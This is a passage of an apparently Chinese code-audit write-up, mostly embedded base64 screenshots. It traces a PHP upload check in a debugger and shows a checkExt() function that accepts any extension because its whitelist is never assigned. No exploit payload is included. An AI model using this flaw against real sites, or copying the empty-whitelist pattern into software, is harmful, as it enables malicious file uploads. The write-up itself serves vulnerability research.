bmemwU2iyMclvosP5rXBYLPquFAiuAgc9mxWc1cNA7PbqgvIT/KPdQZbeQb7cz120lkTLJ7WYbD8uWllDU3sT//nETd68O05YeNEpPJWnOuDh2ho9qu52D/aWcOuhGaKUyvB1NUFNYwglOOzV5M1iWp9kUSQxtJp0kZHFxRJ6DCrudcmt/GwneiiY5KFDCMU47VZ5Czi2wsjnaHz9JNkWTLCgq4ViXndnuAi4qyiOWTOZ4q1aCDdE0BxeVcrTTziy3j09W1/Bxn2Wg/K1IkoOLSjmur/6Plfjx6PQe53CVUtS3tfBvo5CLA/Y9WrKUF3CQo5utDTl0Kwu3y4Ilnhq40l0Isf+QqeZxSXHxEbs52d7/IRrn/x0VQmuDZ96o5u7wqCsPyOxq5ZnWAzl7aRG7Hm+nKdN/G0ma15sjlJUHuNwAQxVTnurh6ebE0GBI9vBy0M5Hyoo41KJIhTr4dUsuvy1p5+jKAAsHjcjOq/GidZo3d7XyQgI2tXRRVupjaaUPmzYJJ2L8q334bU8j6eEff9lMLine truncated
|
||||
<p>步进一下进入check函数存在检查文件类型</p>
|
||||
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191204-deee5800-d497-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>再次跟进一下checkExt发现是一个很强的校验白名单</p>
|
||||
<div class=highlight><pre><span></span><span class=x>private function checkExt($ext) {</span>
|
||||
<span class=x> if(!empty($this->allowExts))</span>
|
||||
<span class=x> return in_array(strtolower($ext),$this->allowExts,true);</span>
|
||||
<span class=x> return true;</span>
|
||||
<span class=x> }</span>
|
||||
</pre></div>
|
||||
<p>但是重点是他并没有赋值进去</p>
|
||||
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191230-ee99d5a4-d497-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>在这进行反向验证,讲前面的属性修改为在config里头的内容</p>
|
||||
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191239-f3d0cb4a-d497-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>再次进行断点跟到最后面的config的地方发现成功修改</p>
|
||||
